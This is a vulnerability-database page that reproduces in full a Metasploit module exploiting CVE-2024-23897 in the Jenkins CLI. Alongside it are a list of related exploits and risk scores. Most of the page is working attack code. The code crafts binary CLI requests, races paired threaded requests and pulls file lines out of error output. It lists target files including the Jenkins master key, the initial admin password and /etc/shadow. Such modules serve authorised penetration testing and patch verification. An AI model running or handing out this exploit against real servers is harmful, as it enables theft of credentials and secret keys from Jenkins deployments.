Lucene search
K

Jenkins cli Ampersand Replacement Arbitrary File Read

🗓️ 31 Aug 2024 00:00:00Reported by h00die, binganao, h4x0r-dz, Vozec, Yaniv Nizry, metasploit.comType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 276 Views

Jenkins cli Ampersand Replacement Arbitrary File Read module utilizes Jenkins cli protocol to run the `help` command, allowing retrieval of the first two lines of specific files on the server. There are exploitation oddities including injection point requirements and a timing issue for requests. Important files of value include /var/jenkins_home/secret.key and /etc/passwd

Related
Code
ReporterTitlePublishedViews
Family
GithubExploit
Exploit for Path Traversal in Jenkins
26 Jan 202421:39
githubexploit
GithubExploit
Exploit for Path Traversal in Jenkins
28 Jan 202412:53
githubexploit
GithubExploit
Exploit for Path Traversal in Jenkins
30 Sep 202416:38
githubexploit
GithubExploit
Exploit for Path Traversal in Jenkins
19 Feb 202402:29
githubexploit
GithubExploit
Exploit for Path Traversal in Jenkins
8 May 202402:28
githubexploit
GithubExploit
Exploit for Path Traversal in Jenkins
8 May 202402:28
githubexploit
GithubExploit
Exploit for Path Traversal in Jenkins
26 Oct 202513:24
githubexploit
GithubExploit
Exploit for Path Traversal in Jenkins
26 Jan 202419:00
githubexploit
GithubExploit
Exploit for Path Traversal in Jenkins
3 Mar 202616:08
githubexploit
GithubExploit
Exploit for Path Traversal in Jenkins
23 Mar 202506:34
githubexploit
Rows per page
`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Auxiliary  
include Msf::Auxiliary::Report  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::Remote::HTTP::Jenkins  
prepend Msf::Exploit::Remote::AutoCheck  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'Jenkins cli Ampersand Replacement Arbitrary File Read',  
'Description' => %q{  
This module utilizes the Jenkins cli protocol to run the `help` command.  
The cli is accessible with read-only permissions by default, which are  
all thats required.  
  
Jenkins cli utilizes `args4j's` `parseArgument`, which calls `expandAtFiles` to  
replace any `@<filename>` with the contents of a file. We are then able to retrieve  
the error message to read up to the first two lines of a file.  
  
Exploitation by hand can be done with the cli, see markdown documents for additional  
instructions.  
  
There are a few exploitation oddities:  
1. The injection point for the `help` command requires 2 input arguments.  
When the `expandAtFiles` is called, each line of the `FILE_PATH` becomes an input argument.  
If a file only contains one line, it will throw an error: `ERROR: You must authenticate to access this Jenkins.`  
However, we can pad out the content by supplying a first argument.  
2. There is a strange timing requirement where the `download` (or first) request must get  
to the server first, but the `upload` (or second) request must be very close behind it.  
From testing against the docker image, it was found values between `.01` and `1.9` were  
viable. Due to the round trip time of the first request and response happening before  
request 2 would be received, it is necessary to use threading to ensure the requests  
happen within rapid succession.  
  
Files of value:  
* /var/jenkins_home/secret.key  
* /var/jenkins_home/secrets/master.key  
* /var/jenkins_home/secrets/initialAdminPassword  
* /etc/passwd  
* /etc/shadow  
* Project secrets and credentials  
* Source code, build artifacts  
},  
'License' => MSF_LICENSE,  
'Author' => [  
'h00die', # msf module  
'Yaniv Nizry', # discovery  
'binganao', # poc  
'h4x0r-dz', # poc  
'Vozec' # poc  
],  
'References' => [  
[ 'URL', 'https://www.jenkins.io/security/advisory/2024-01-24/'],  
[ 'URL', 'https://www.sonarsource.com/blog/excessive-expansion-uncovering-critical-security-vulnerabilities-in-jenkins/'],  
[ 'URL', 'https://github.com/binganao/CVE-2024-23897'],  
[ 'URL', 'https://github.com/h4x0r-dz/CVE-2024-23897'],  
[ 'URL', 'https://github.com/Vozec/CVE-2024-23897'],  
[ 'CVE', '2024-23897']  
],  
'Targets' => [  
[ 'Automatic Target', {}]  
],  
'DisclosureDate' => '2024-01-24',  
'DefaultTarget' => 0,  
'Notes' => {  
'Stability' => [ CRASH_SAFE ],  
'Reliability' => [ ],  
'SideEffects' => [ ]  
},  
'DefaultOptions' => {  
'RPORT' => 8080,  
'HttpClientTimeout' => 3 # very quick response, so set this low  
}  
)  
)  
register_options(  
[  
OptString.new('TARGETURI', [true, 'The base path for Jenkins', '/']),  
OptString.new('FILE_PATH', [true, 'File path to read from the server', '/etc/passwd']),  
]  
)  
register_advanced_options(  
[  
OptFloat.new('DELAY', [true, 'Delay between first and second request', 0.5]),  
OptString.new('ENCODING', [true, 'Encoding to use for reading the file', 'UTF-8']),  
OptString.new('LOCALITY', [true, 'Locality to use for reading the file', 'en_US'])  
]  
)  
end  
  
def check  
version = jenkins_version  
  
return Exploit::CheckCode::Safe('Unable to determine Jenkins version number') if version.blank?  
  
version = Rex::Version.new(version)  
  
if version <= Rex::Version.new('2.426.2') || # LTS check  
(version >= Rex::Version.new('2.427') && version <= Rex::Version.new('2.441')) # non-lts  
return Exploit::CheckCode::Appears("Found exploitable version: #{version}")  
end  
  
Exploit::CheckCode::Safe("Found non-exploitable version: #{version}")  
end  
  
def request_header  
"\x00\x00\x00\x06\x00\x00\x04help\x00\x00\x00"  
end  
  
def request_footer  
data = []  
data << "\x00\x00\x00\x07\x02\x00"  
data << [datastore['ENCODING'].length].pack('C') # length of encoding string  
data << datastore['ENCODING']  
data << "\x00\x00\x00\x07\x01\x00"  
data << [datastore['LOCALITY'].length].pack('C') # length of locality string  
data << datastore['LOCALITY']  
data << "\x00\x00\x00\x00\x03"  
data  
end  
  
def parameter_one  
# a literal parameter of 1  
"\x03\x00\x00\x01\x31\x00\x00\x00"  
end  
  
def data_generator(pad: false)  
data = []  
data << request_header  
data << parameter_one if pad  
data << [datastore['FILE_PATH'].length + 3].pack('C').to_s  
data << "\x00\x00"  
data << [datastore['FILE_PATH'].length + 1].pack('C').to_s  
data << "\x40"  
data << datastore['FILE_PATH']  
data << request_footer  
data.join('')  
end  
  
def upload_request(uuid, multi_line_file: true)  
# send upload request asking for file  
  
# In testing against Docker image on localhost, .01 seems to be the magic to get the download request to hit very slightly ahead of the upload request  
# which is required for successful exploitation  
sleep(datastore['DELAY'])  
res = send_request_cgi(  
'uri' => normalize_uri(target_uri.path, 'cli'),  
'method' => 'POST',  
'keep_cookies' => true,  
'ctype' => 'application/octet-stream',  
'headers' => {  
'Session' => uuid,  
'Side' => 'upload'  
},  
'vars_get' => {  
'remoting' => 'false'  
},  
'data' => data_generator(pad: multi_line_file)  
)  
  
fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil?  
fail_with(Failure::UnexpectedReply, "#{peer} - Invalid server reply to upload request (response code: #{res.code})") unless res.code == 200  
# we don't get a response here, so we just need the request to go through and 200 us  
end  
  
def process_result(use_pad)  
# the output comes back as follows:  
  
# ERROR: Too many arguments: <line 2>  
# java -jar jenkins-cli.jar help  
# [COMMAND]  
# Lists all the available commands or a detailed description of single command.  
# COMMAND : Name of the command (default: <line 1>)  
  
# The main thing here is we get the first 2 lines of output from the file.  
# The 2nd line from the file is returned on line 1 of the output, and line  
# 1 from the file is returned on the last line of output. If padding was used  
# then <line 1> will just be a literal 1  
  
file_contents = []  
@content_body.split("\n").each do |html_response_line|  
# filter for the two lines which have output  
if html_response_line.include? 'ERROR: Too many arguments'  
file_contents << html_response_line.gsub('ERROR: Too many arguments: ', '').strip  
elsif html_response_line.include? 'COMMAND : Name of the command (default:'  
temp = html_response_line.gsub(' COMMAND : Name of the command (default: ', '')  
temp = temp.chomp(')').strip  
file_contents.insert(0, temp)  
end  
end  
return if file_contents.empty?  
  
# if we padded out, then our first line is 1, so drop that  
file_contents = file_contents.drop(1) if use_pad == true  
  
print_good("#{datastore['FILE_PATH']} file contents retrieved (first line or 2):\n#{file_contents.join("\n")}")  
stored_path = store_loot('jenkins.file', 'text/plain', rhost, file_contents.join("\n"), datastore['FILE_PATH'])  
print_good("Results saved to: #{stored_path}")  
end  
  
def download_request(uuid)  
# send download request  
res = send_request_cgi(  
'uri' => normalize_uri(target_uri.path, 'cli'),  
'method' => 'POST',  
'keep_cookies' => true,  
'headers' => {  
'Session' => uuid,  
'Side' => 'download'  
},  
'vars_get' => {  
'remoting' => 'false'  
}  
)  
  
fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil?  
fail_with(Failure::UnexpectedReply, "#{peer} - Invalid server reply to download request (response code: #{res.code})") unless res.code == 200  
  
@content_body = res.body  
end  
  
def run  
uuid = SecureRandom.uuid  
  
print_status("Sending requests with UUID: #{uuid}")  
  
# Looking over the python PoCs, they all include threading however  
# the writeup, and PoCs don't mention a timing component.  
# However, during testing it was found that the two requests need to  
# hit the server nearly simultaneously, with the 'download' one hitting  
# first. During testing, even a .1 second slowdown was too much and  
# the server resulted in a 500 error. So we need to thread these to  
# execute them fast enough that the server gets both in rapid succession  
  
use_pad = false  
threads = []  
threads << framework.threads.spawn('CVE-2024-23897', false) do  
upload_request(uuid, multi_line_file: use_pad) # try single line file first since we get an error if we have more content to get  
end  
threads << framework.threads.spawn('CVE-2024-23897', false) do  
download_request(uuid)  
end  
  
threads.map do |t|  
t.join  
rescue StandardError  
nil  
end  
  
# we got an error that means we need to pad out our value, so rerun with pad  
if @content_body && @content_body.include?('ERROR: You must authenticate to access this Jenkins.')  
print_status('Re-attempting with padding for single line output file')  
use_pad = true  
threads = []  
threads << framework.threads.spawn('CVE-2024-23897-upload', false) do  
upload_request(uuid, multi_line_file: use_pad)  
end  
threads << framework.threads.spawn('CVE-2024-23897-download', false) do  
download_request(uuid)  
end  
  
threads.map do |t|  
t.join  
rescue StandardError  
nil  
end  
end  
  
if @content_body  
process_result(use_pad)  
else  
print_bad('Exploit failed, no exploit data was successfully returned')  
end  
end  
end  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

31 Aug 2024 00:00Current
7.2High risk
Vulners AI Score7.2
CVSS 3.19.8
EPSS0.94466
276